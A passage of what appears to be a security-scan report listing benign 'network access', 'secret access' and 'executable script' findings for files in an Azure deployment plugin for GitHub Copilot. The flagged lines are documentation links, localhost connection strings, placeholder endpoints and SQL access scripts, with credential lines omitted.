    audience=AUDIENCE,             issuer=f"https://login.microsoftonline.com/{TENANT_ID}/v2.0",         )
  • Network accessline 44
    issuer=f"https://login.microsoftonline.com/{TENANT_ID}/v2.0",

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/cosmos/README.md

  • Network accessline 33
    | Setting | Value | Purpose | |---------|-------|---------| | `COSMOS_ENDPOINT` | `https://{account}.documents.azure.com:443/` | Cosmos account endpoint |
  • Network accessline 34
    |---------|-------|---------| | `COSMOS_ENDPOINT` | `https://{account}.documents.azure.com:443/` | Cosmos account endpoint | | `COSMOS_DATABASE_NAME` | `app-db` | Target database |
  • Network accessline 35
    | `COSMOS_ENDPOINT` | `https://{account}.documents.azure.com:443/` | Cosmos account endpoint |
  • Network accessline 87
    - [Cosmos DB + App Service tutorial](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/tutorial-dotnet-web-app)
  • Network accessline 88
    - [Passwordless Cosmos DB connections](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/how-to-dotnet-get-started)
  • Network accessline 89
    - [Cosmos DB RBAC](https://learn.microsoft.com/en-us/azure/cosmos-db/how-to-setup-rbac)

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/cosmos/source/python.md

  • Access to secretsline 24
    [Credential-related source omitted]
  • Access to secretsline 25
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/redis/README.md

  • Network accessline 84
    - [Azure Cache for Redis overview](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-overview)
  • Network accessline 85
    - [Use Entra ID with Redis](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-azure-active-directory-for-authentication)
  • Network accessline 86
    - [Redis + App Service tutorial](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-web-app-howto)

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/redis/source/nodejs.md

  • Network accessline 19
    const credential = new DefaultAzureCredential(); const TOKEN_SCOPE = "https://redis.azure.com/.default";
  • Network accessline 20
    const TOKEN_SCOPE = "https://redis.azure.com/.default";

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/redis/source/python.md

  • Network accessline 25
    # Redis ACL auth requires both username and token as password _REDIS_USERNAME = "default" _TOKEN_SCOPE = "https://redis.azure.com/.default"
  • Network accessline 26
    _REDIS_USERNAME = "default" _TOKEN_SCOPE = "https://redis.azure.com/.default" _TOKEN_REFRESH_MARGIN = 300  # Refresh 5 minutes before expiry
  • Network accessline 27
    _TOKEN_SCOPE = "https://redis.azure.com/.default"
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 50
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/sql/README.md

  • Network accessline 79
    - [Azure SQL passwordless connections](https://learn.microsoft.com/en-us/azure/azure-sql/database/azure-sql-passwordless-migration)
  • Network accessline 80
    - [EF Core with Azure SQL](https://learn.microsoft.com/en-us/ef/core/providers/sql-server/)
  • Network accessline 81
    - [Tutorial: App Service with SQL](https://learn.microsoft.com/en-us/azure/app-service/tutorial-dotnetcore-sqldb-app)

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/sql/source/nodejs.md

  • Access to secretsline 96
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/sql/source/python.md

  • Access to secretsline 37
    [Credential-related source omitted]
  • Access to secretsline 44
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Network accessline 61
    [Credential-related source omitted]
  • Network accessline 62
    [Credential-related source omitted]
  • Network accessline 63
    [Credential-related source omitted]
  • Access to secretsline 66
    [Credential-related source omitted]
  • Access to secretsline 140
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/selection.md

  • Network accessline 7
    Cross-reference with [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview) and [official AZD gallery templates](https://azure.github.io/awesome-azd/?tags=appservice).

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/web-api.md

  • Network accessline 15
    **Browse all:** [Awesome AZD App Service](https://azure.github.io/awesome-azd/?tags=appservice)
  • Network accessline 179
    - [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview)
  • Network accessline 180
    - [App Service best practices](https://learn.microsoft.com/en-us/azure/app-service/app-service-best-practices)
  • Network accessline 181
    - [Health check](https://learn.microsoft.com/en-us/azure/app-service/monitor-instances-health-check)

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/web-app.md

  • Network accessline 14
    **Browse all:** [Awesome AZD](https://azure.github.io/awesome-azd/?tags=appservice)
  • Network accessline 106
    ALLOWED_HOSTS = ['.azurewebsites.net', 'localhost'] STATIC_ROOT = BASE_DIR / 'staticfiles' CSRF_TRUSTED_ORIGINS = ['https://*.azurewebsites.net']
  • Network accessline 108
    CSRF_TRUSTED_ORIGINS = ['https://*.azurewebsites.net']
  • Network accessline 179
    - [Deploy to App Service](https://learn.microsoft.com/en-us/azure/app-service/quickstart-dotnetcore)
  • Network accessline 180
    - [Node.js on App Service](https://learn.microsoft.com/en-us/azure/app-service/quickstart-nodejs)
  • Network accessline 181
    - [Python on App Service](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python)

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/container-apps/day2-operations.md

  • Network accessline 113
    [Credential-related source omitted]
  • Network accessline 114
    [Credential-related source omitted]
  • Network accessline 115
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/container-apps/environment.md

  • Network accessline 25
    {       name: 'database-url'       keyVaultUrl: 'https://myvault.vault.azure.net/secrets/database-url'
  • Network accessline 26
    name: 'database-url'       keyVaultUrl: 'https://myvault.vault.azure.net/secrets/database-url'       identity: managedIdentity.id
  • Network accessline 27
    keyVaultUrl: 'https://myvault.vault.azure.net/secrets/database-url'

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/container-apps/terraform.md

  • Network accessline 157
    output "api_url" {   value = "https://${azurerm_container_app.api.ingress[0].fqdn}"
  • Network accessline 158
    value = "https://${azurerm_container_app.api.ingress[0].fqdn}"

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/cosmos-db/sdk.md

  • Access to secretsline 26
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/durable-task-scheduler/README.md

  • Network accessline 28
    # Start the emulator (see https://mcr.microsoft.com/v2/dts/dts-emulator/tags/list for available versions)
  • Network accessline 32
    # Dashboard available at http://localhost:8082
  • Network accessline 49
    | Environment | Connection String | |-------------|-------------------| | Local Development (Emulator) | `Endpoint=http://localhost:8080;Authentication=None;TaskHub=default` |
  • Network accessline 50
    |-------------|-------------------| | Local Development (Emulator) | `Endpoint=http://localhost:8080;Authentication=None;TaskHub=default` | | Azure (System-Assigned MI) | `Endpoint=https://<scheduler>.durabletask.io;Authentication=ManagedId
  • Network accessline 51
    | Local Development (Emulator) | `Endpoint=http://localhost:8080;Authentication=None;TaskHub=default` |
  • Network accessline 72
    - [JavaScript](javascript.md) — packages, setup, examples, determinism, retry, SDK - [Bicep Patterns](bicep.md) — scheduler, task hub, RBAC, CLI provisioning - [Official Documentation](https://learn.microsoft.com/azure/azure-functions/durab
  • Network accessline 73
    - [Bicep Patterns](bicep.md) — scheduler, task hub, RBAC, CLI provisioning - [Official Documentation](https://learn.microsoft.com/azure/azure-functions/durable/durable-task-scheduler/durable-task-scheduler) - [Durable Functions Overview](ht
  • Network accessline 74
    - [Official Documentation](https://learn.microsoft.com/azure/azure-functions/durable/durable-task-scheduler/durable-task-scheduler)
  • Network accessline 75
    - [Durable Functions Overview](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview)
  • Network accessline 76
    - [Sample Repository](https://github.com/Azure-Samples/Durable-Task-Scheduler)
  • Network accessline 77
    - [Choosing an Orchestration Framework](https://learn.microsoft.com/azure/azure-functions/durable/durable-task-scheduler/choose-orchestration-framework)

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/durable-task-scheduler/bicep.md

  • Network accessline 65
    To allow developers to view orchestration status and history in the [DTS dashboard](https://portal.azure.com), assign the same `Durable Task Data Contributor` role to the deploying user's identity. Without this, the dashboard returns **403 
  • Network accessline 82
    > **💡 TIP**: This is the same role used for the Function App's managed identity, but assigned with `principalType: 'User'` to the developer. See the [sample repo](https://github.com/Azure-Samples/Durable-Task-Scheduler/blob/main/samples/inf
  • Network accessline 100
    > **⚠<U+FE0F> WARNING**: Always use `scheduler.properties.endpoint` to get the scheduler URL. Do **not** construct it manually — the endpoint includes a hash suffix and region (e.g., `https://myscheduler-abc123.westus2.durabletask.io`).

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/durable-task-scheduler/dotnet.md

  • Network accessline 5
    - [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/)
  • Network accessline 6
    - [Durable Functions .NET isolated worker guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-dotnet-isolated-overview)
  • Network accessline 20
    > **💡 Finding latest versions**: Search [nuget.org](https://www.nuget.org/) for each package name to find the current stable version. Look for the `Microsoft.Azure.Functions.Worker.Extensions.DurableTask` and `Microsoft.Azure.Functions.Work
  • Network accessline 47
    "FUNCTIONS_WORKER_RUNTIME": "dotnet-isolated",     "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 48
    "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"   }
  • Network accessline 49
    "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 179
    var connectionString = "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None";

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/durable-task-scheduler/java.md

  • Network accessline 5
    - [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/)
  • Network accessline 6
    - [Durable Functions Java guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview?tabs=java)
  • Network accessline 27
    > **💡 Finding latest versions**: Search [Maven Central](https://central.sonatype.com/) for `durabletask-azure-functions` (group: `com.microsoft`) to find the current stable version.
  • Network accessline 56
    "FUNCTIONS_WORKER_RUNTIME": "java",     "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 57
    "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"   }
  • Network accessline 58
    "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 204
    public class App {     public static void main(String[] args) throws Exception {         String connectionString = "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None";
  • Network accessline 206
    String connectionString = "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None";

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/durable-task-scheduler/javascript.md

  • Network accessline 5
    - [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/)
  • Network accessline 6
    - [Durable Functions JavaScript guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview?tabs=javascript)
  • Network accessline 21
    > **💡 Finding latest versions**: Run `npm view durable-functions version` or check [npmjs.com/package/durable-functions](https://www.npmjs.com/package/durable-functions) for the latest stable release.
  • Network accessline 50
    "FUNCTIONS_WORKER_RUNTIME": "node",     "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 51
    "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"   }
  • Network accessline 52
    "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 179
    const connectionString = "Endpoint=http://localhost:8080;Authentication=None;TaskHub=default";

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/durable-task-scheduler/python.md

  • Network accessline 5
    - [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/)
  • Network accessline 6
    - [Durable Functions Python guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview?tabs=python)
  • Network accessline 19
    > **💡 Finding latest versions**: Run `pip index versions azure-functions-durable` or check [pypi.org/project/azure-functions-durable](https://pypi.org/project/azure-functions-durable/) for the latest stable release.
  • Network accessline 50
    "FUNCTIONS_WORKER_RUNTIME": "python",     "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 51
    "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"   }
  • Network accessline 52
    "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 194
    async def main():     with DurableTaskSchedulerWorker(         host_address="http://localhost:8080",
  • Network accessline 195
    with DurableTaskSchedulerWorker(         host_address="http://localhost:8080",         secure_channel=False,
  • Network accessline 196
    host_address="http://localhost:8080",
  • Network accessline 205
    from durabletask.azuremanaged.client import DurableTaskSchedulerClient         client = DurableTaskSchedulerClient(             host_address="http://localhost:8080",
  • Network accessline 206
    client = DurableTaskSchedulerClient(             host_address="http://localhost:8080",             taskhub="default",
  • Network accessline 207
    host_address="http://localhost:8080",

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/event-grid/bicep.md

  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/event-grid/subscriptions.md

  • Network accessline 11
    endpointType: 'WebHook'       properties: {         endpointUrl: 'https://my-api.azurecontainerapps.io/webhooks/orders'
  • Network accessline 12
    properties: {         endpointUrl: 'https://my-api.azurecontainerapps.io/webhooks/orders'       }
  • Network accessline 13
    endpointUrl: 'https://my-api.azurecontainerapps.io/webhooks/orders'
  • Network accessline 36
    endpointType: 'WebHook'   properties: {     endpointUrl: 'https://my-api.example.com/events'
  • Network accessline 37
    properties: {     endpointUrl: 'https://my-api.example.com/events'   }
  • Network accessline 38
    endpointUrl: 'https://my-api.example.com/events'

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/foundry/region-availability.md

  • Network accessline 15
    > Check https://learn.microsoft.com/azure/ai-services/openai/concepts/models for current model availability.

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/README.md

  • Network accessline 65
    > Do NOT use hardcoded versions. Query for latest GA versions before generating code: > > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages)
  • Network accessline 66
    > > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) >
  • Network accessline 67
    > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) > > Use the azure-documentation MCP tool to fetch current supported versions:

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/bicep.md

  • Network accessline 86
    runtime: {         name: 'python'  // or 'node', 'dotnet-isolated'         version: '<version>'  // Query latest GA: https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages
  • Network accessline 87
    name: 'python'  // or 'node', 'dotnet-isolated'         version: '<version>'  // Query latest GA: https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages       }
  • Network accessline 88
    version: '<version>'  // Query latest GA: https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/README.md

  • Network accessline 112
    GET https://cdn.functions.azure.com/public/templates-manifest/manifest.json
  • Network accessline 115
    > ⚠<U+FE0F> **If manifest fetch fails** (any error): > 1. Fall back to the source manifest at `https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json`
  • Network accessline 116
    > 1. Fall back to the source manifest at `https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json`
  • Network accessline 127
    | `resource` | Trigger type (see [selection.md](selection.md)) | `http`, `cosmos`, `timer`, `eventhub`, `servicebus`, `blob`, `sql`, `mcp`, `durable` | | `iac` | Infrastructure type | `bicep`, `terraform` | | `repositoryUrl` | GitHub repo w
  • Network accessline 128
    | `iac` | Infrastructure type | `bicep`, `terraform` | | `repositoryUrl` | GitHub repo with complete project | `https://github.com/Azure-Samples/functions-quickstart-python-http-azd` | | `folderPath` | Path within repo | `.` or `src/api` |
  • Network accessline 129
    | `repositoryUrl` | GitHub repo with complete project | `https://github.com/Azure-Samples/functions-quickstart-python-http-azd` |
  • Network accessline 139
    GET https://github.com/{owner}/{repo}/archive/refs/heads/main.zip
  • Network accessline 146
    1. GET https://api.github.com/repos/{owner}/{repo}/git/trees/main?recursive=1
  • Network accessline 147
    2. Filter tree entries where path starts with {folderPath}/ 3. For each file:    GET https://raw.githubusercontent.com/{owner}/{repo}/main/{path}
  • Network accessline 149
    GET https://raw.githubusercontent.com/{owner}/{repo}/main/{path}
  • Network accessline 181
    **Browse all:** [Awesome AZD Functions](https://azure.github.io/awesome-azd/?tags=functions)

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/base/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language × trigger eval requires ~5 min of agent runtime. Full matrix (6 languages × 9 triggers) = ~4.5 hours of CI. Python is verified end-to-end; other languages are confirmed available in the [functions temp

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/blob-eventgrid/README.md

  • Network accessline 28
    See [Blob Storage trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-storage-blob-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed 

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/blob-eventgrid/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Multi-language ev

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/composition.md

  • Network accessline 47
    1. FETCH MANIFEST    GET https://cdn.functions.azure.com/public/templates-manifest/manifest.json
  • Network accessline 48
    GET https://cdn.functions.azure.com/public/templates-manifest/manifest.json    If fetch fails → fall back to: https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json    If both fail → 
  • Network accessline 49
    If fetch fails → fall back to: https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json
  • Network accessline 224
    > ⚠<U+FE0F> **ALWAYS QUERY OFFICIAL DOCUMENTATION** — Do NOT use hardcoded versions. > > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages)
  • Network accessline 225
    > > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) >
  • Network accessline 226
    > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages)

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/cosmosdb/README.md

  • Network accessline 27
    See [Cosmos DB trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-cosmosdb-v2-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed iden

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/cosmosdb/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). JavaScript and Po

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/durable/README.md

  • Network accessline 34
    The identity must have the **Durable Task Data Contributor** role on the scheduler or task hub resource. See [DTS identity auth](https://learn.microsoft.com/en-us/azure/durable-task/scheduler/durable-task-scheduler-identity) for identity-ba

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/durable/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). PowerShell has no

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/eventhubs/README.md

  • Network accessline 21
    See [Event Hubs trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-event-hubs-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed iden

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/eventhubs/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). JavaScript and Po

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/mcp/README.md

  • Network accessline 17
    See [MCP Specification](https://modelcontextprotocol.io/) for protocol details.
  • Network accessline 31
    See [MCP extension trigger and bindings](https://learn.microsoft.com/azure/azure-functions/functions-bindings-mcp) for extension-based servers, [Self-hosted MCP servers](https://learn.microsoft.com/en-us/azure/azure-functions/self-hosted-mc

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/mcp/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). JavaScript and Po

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/servicebus/README.md

  • Network accessline 26
    See [Service Bus trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-service-bus-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed id

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/servicebus/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Multi-language ev

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/sql/README.md

  • Network accessline 45
    See [SQL managed identity](https://learn.microsoft.com/en-us/azure/azure-functions/functions-identity-access-azure-sql-with-managed-identity) for identity-based config — refer to the **"Configure the function app"** section for connection s

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/sql/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Java, JavaScript,

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/timer/README.md

  • Network accessline 22
    > Azure uses 6-part cron expressions (with seconds). See [Azure Functions timer trigger](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-timer#ncrontab-expressions) for full syntax reference.

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/timer/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Multi-language ev

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/terraform.md

  • Network accessline 173
    > 💡 **Example Reference:** [HashiCorp Flex Consumption Example](https://registry.terraform.io/modules/Azure/avm-res-web-site/azurerm/latest/examples/flex_consumption)

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/key-vault/README.md

  • Network accessline 39
    | Variable | Value | |----------|-------| | `KEY_VAULT_URL` | `https://{vault-name}.vault.azure.net/` |
  • Network accessline 40
    |----------|-------| | `KEY_VAULT_URL` | `https://{vault-name}.vault.azure.net/` | | `KEY_VAULT_NAME` | Vault name |
  • Network accessline 41
    | `KEY_VAULT_URL` | `https://{vault-name}.vault.azure.net/` |

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/key-vault/sdk.md

  • Access to secretsline 29
    [Credential-related source omitted]
  • Network accessline 59
    endpointType: 'WebHook'       properties: {         endpointUrl: 'https://my-api.example.com/secret-rotation'
  • Network accessline 60
    properties: {         endpointUrl: 'https://my-api.example.com/secret-rotation'       }
  • Network accessline 61
    endpointUrl: 'https://my-api.example.com/secret-rotation'

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/logic-apps/bicep.md

  • Network accessline 10
    state: 'Enabled'     definition: {       '$schema': 'https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#'
  • Network accessline 11
    definition: {       '$schema': 'https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#'       contentVersion: '1.0.0.0'
  • Network accessline 12
    '$schema': 'https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#'

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/logic-apps/triggers.md

  • Network accessline 69
    "inputs": {       "method": "POST",       "uri": "https://api.example.com/orders",
  • Network accessline 70
    "method": "POST",       "uri": "https://api.example.com/orders",       "headers": {
  • Network accessline 71
    "uri": "https://api.example.com/orders",

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/service-bus/patterns.md

  • Access to secretsline 57
    [Credential-related source omitted]
  • Access to secretsline 130
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/sql-database/scripts/grant-sql-access.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 78
    if (-not (Get-Command sqlcmd -ErrorAction SilentlyContinue)) {     Write-Error "'sqlcmd' is not installed or not on PATH."     Write-Error "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry."
  • Network accessline 79
    Write-Error "'sqlcmd' is not installed or not on PATH."     Write-Error "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry."     exit 1
  • Network accessline 80
    Write-Error "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry."

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/sql-database/scripts/grant-sql-access.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 85
    if ! command -v sqlcmd >/dev/null 2>&1; then   echo "ERROR: 'sqlcmd' is not installed or not on PATH." >&2   echo "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." >&2
  • Network accessline 86
    echo "ERROR: 'sqlcmd' is not installed or not on PATH." >&2   echo "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." >&2   exit 1
  • Network accessline 87
    echo "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." >&2

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/sql-database/sdk.md

  • Network accessline 30
    [Credential-related source omitted]
  • Network accessline 31
    [Credential-related source omitted]
  • Access to secretsline 35
    [Credential-related source omitted]
  • Access to secretsline 36
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/static-web-apps/deployment.md

  • Network accessline 16
    properties: {   repositoryUrl: 'https://github.com/owner/repo'
  • Network accessline 17
    repositoryUrl: 'https://github.com/owner/repo'
  • Access to secretsline 38
    [Credential-related source omitted]
  • Access to secretsline 65
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/static-web-apps/routing.md

